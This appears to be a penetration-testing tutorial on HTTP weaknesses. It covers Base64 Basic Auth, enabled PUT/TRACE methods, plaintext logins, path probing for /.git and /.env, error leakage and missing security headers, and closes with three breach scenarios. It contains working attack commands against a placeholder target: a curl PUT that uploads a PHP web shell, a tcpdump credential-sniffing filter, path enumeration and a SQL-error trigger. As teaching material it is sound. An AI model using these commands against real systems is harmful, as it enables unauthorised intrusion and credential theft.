HTTP Basic Authentication sends credentials with every single request — not just the login. The credentials are encoded in Base64, which any tool or person can reverse instantly. Over plain HTTP, anyone on the network path can capture and decode them with a single command. Even over HTTPS, Basic Auth credentials captured via ARP spoofing before the TLS handshake, or from a misconfigured proxy, are immediately readable.

The name badge analogy: HTTP Basic Auth is like requiring employees to wear name badges that include their password written on the back. The badge faces forward (the Base64 encoding looks scrambled), but anyone who asks you to turn around can read it instantly. The encoding provides the visual appearance of security with none of the actual protection.

# Request captured on the wire or via Burp proxy:
GET /admin HTTP/1.1
Host: target.com
Authorization: Basic YWRtaW46cGFzc3dvcmQxMjM=

# Decode in one command — no key, no tool, instant:
echo "YWRtaW46cGFzc3dvcmQxMjM=" | base64 -d
admin:password123

# Basic Auth sends this header on EVERY request to the protected path
# Browser caches the credentials and re-sends for the entire session
# One packet capture = permanent credential access

HTTP defines a set of methods (verbs) for different operations: GET retrieves resources, POST submits data, PUT uploads or replaces files, DELETE removes resources, TRACE echoes the request back (useful for cross-site tracing attacks), and OPTIONS reports which methods are enabled. Most web applications only need GET and POST. Finding PUT or DELETE enabled is a critical misconfiguration — on a web server it typically means an attacker can write arbitrary files to the server.

# Enumerate allowed methods with OPTIONS:
curl -X OPTIONS http://target.com -i
HTTP/1.1 200 OK
Allow: GET, POST, OPTIONS, PUT, DELETE, TRACE

# PUT enabled — attempt to upload a file:
curl -X PUT http://target.com/shell.php -d '<?php system($_GET["cmd"]); ?>'
HTTP/1.1 201 Created
# Web shell uploaded — execute OS commands via browser

# TRACE enabled — test for Cross-Site Tracing (XST):
curl -X TRACE http://target.com -H "Cookie: session=abc123"
TRACE / HTTP/1.1
Cookie: session=abc123    <-- server reflects cookies back
# XST can bypass HttpOnly via JavaScript XMLHttpRequest TRACE

When an application uses an HTTP (not HTTPS) login form, the username and password are transmitted in the POST body with zero obfuscation. Any network observer — a compromised switch, a rogue Wi-Fi access point, a malicious ISP, or an attacker performing ARP spoofing on the same LAN — can capture and read them. This is not a vulnerability in the application code; it is an infrastructure-level failure to use transport encryption.

This scenario is particularly common on corporate intranets and internal management systems where developers assume "it's internal, so it's safe." Internal network sniffing following initial compromise is a standard step in lateral movement — and internal HTTP services are a primary target.

# What appears on the wire — readable by anyone on the network path:
POST /login HTTP/1.1
Host: intranet.corp.com
Content-Type: application/x-www-form-urlencoded

username=admin&password=hunter2&remember_me=true
# tcpdump or Wireshark captures this verbatim
# No decryption, no key material, no computational effort required

# Capturing on a shared network segment (attacker has LAN access):
tcpdump -i eth0 -A 'tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)' | grep -E 'username|password'
username=admin&password=hunter2

HTTP response codes are a roadmap of the server's content. A 200 means the path exists and is accessible. A 403 (Forbidden) is especially valuable — it means the path exists but access is restricted, confirming a resource worth targeting. A 301/302 redirect reveals the actual location of moved resources. By systematically probing paths and interpreting the response codes, an attacker maps the server's complete structure without needing any credentials.

for path in admin backup config .git phpmyadmin api .env wp-admin; do
  curl -s -o /dev/null -w "%{http_code} /$path\n" http://target.com/$path
done
200 /admin       <-- admin panel accessible without auth
403 /backup      <-- exists but forbidden — try direct file access
200 /config      <-- configuration directory accessible
200 /.git        <-- source code repository exposed!
404 /phpmyadmin
200 /api
200 /.env        <-- environment variables file — credentials!

# .git exposed = reconstruct full source code with git-dumper
# .env exposed = database passwords, API keys, secret keys

The /.git exposure deserves special attention. When a developer deploys code by copying the entire project directory to the web root (rather than using a proper deployment pipeline), the hidden .git folder is often included. Tools like git-dumper can reconstruct the entire source code repository from a publicly accessible /.git endpoint — including full commit history, deleted files, and any credentials that were ever committed.

HTTP error responses — particularly 500 Internal Server Error and application-generated error pages — frequently leak information that developers intended only for debugging: stack traces, database query strings, file system paths, framework versions, and internal hostnames. An attacker who can trigger errors reliably can extract a complete map of the application's internals.

# Trigger a SQL error by injecting a single quote:
curl "http://target.com/product?id=1'"
HTTP/1.1 500 Internal Server Error

Warning: mysqli_fetch_assoc() expects parameter 1 to be mysqli_result
File: /var/www/html/product.php line 47
Query: SELECT * FROM products WHERE id='1'' AND active=1
Database: shop_db  Host: db01.internal.corp.com
# Leaked: file path, query structure, DB name, internal hostname

# Trigger a framework error with a long path:
curl "http://target.com/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
Laravel v8.75.0 — NotFoundHttpException
#0 /var/www/html/vendor/laravel/framework/src/Illuminate/...
# Leaked: framework name, version, exact file system paths

Security headers are server-side controls that instruct browsers on how to handle content. Their absence doesn't directly enable attacks — but it removes defences that would otherwise mitigate entire vulnerability classes. An HTTP security header audit is part of every web server assessment and maps directly to compliance requirements (OWASP ASVS, PCI DSS).

# Comprehensive header check with nikto or manually:
curl -I https://target.com | grep -E "Strict|Content-Security|X-Frame|X-Content|Referrer|Permissions"

Strict-Transport-Security: max-age=31536000  ✓ HSTS present
Content-Security-Policy: (missing)           ✗ XSS amplification possible
X-Frame-Options: (missing)                   ✗ Clickjacking possible
X-Content-Type-Options: nosniff              ✓ MIME sniffing blocked
Referrer-Policy: (missing)                   ✗ Referrer leaks to third parties
Permissions-Policy: (missing)                ✗ Browser features unrestricted

# Missing CSP = no restriction on where scripts can load from
# Missing X-Frame-Options = can embed in iframe for clickjacking
# Each missing header is a separate finding with its own remediation

A company's HR department uses an internal web application — hosted on the corporate intranet, accessible only to employees — for submitting time-off requests, viewing payslips, and updating personal information. The application runs on HTTP because "it's internal, so it doesn't need HTTPS." The login form transmits credentials in POST body plaintext.

An attacker who compromises any workstation on the corporate network — via phishing, a USB drop, or a compromised contractor laptop — can run passive tcpdump on the network interface. Over the course of a normal workday, dozens of employees log into the HR portal. The attacker captures every username and password. Many employees reuse their HR portal password for their Windows domain account. The attacker now has Active Directory credentials for a significant portion of the workforce from a single passive capture.

This is not a theoretical risk — it is the standard post-exploitation reconnaissance pattern used in real intrusions. "Internal" does not mean "trusted network." Any endpoint on the corporate LAN is a potential capture point.

A development team deploys their web application to a Linux server by running git clone directly into /var/www/html/. The nginx configuration serves all files in that directory. The .git folder — which contains the entire version control history — is therefore served publicly.

A penetration tester probing the server with a basic response code scan finds /.git returns 200. Running git-dumper against the endpoint reconstructs the complete repository. The commit history reveals a commit three months ago titled "remove hardcoded creds" — which contains the AWS access key and secret that were previously baked into the deployment configuration. The key was removed from code but was never rotated in AWS. The key is still valid. The tester now has AWS IAM access to the organisation's cloud infrastructure.

A legacy intranet file-sharing application uses WebDAV (Web Distributed Authoring and Versioning), which extends HTTP with methods like PUT, MKCOL, and PROPFIND for file management. The server was configured in 2012 with HTTP PUT enabled globally rather than scoped to specific authenticated WebDAV paths. An OPTIONS request to the root confirms PUT is available without authentication.

A tester uploads a PHP web shell to the document root using a single curl command. The shell is immediately accessible and executes OS commands as the www-data user. From there, post-exploitation tools are uploaded, local privilege escalation is attempted, and the internal network is pivoted into from the now-compromised server. The entire chain started with one misconfigured HTTP method check.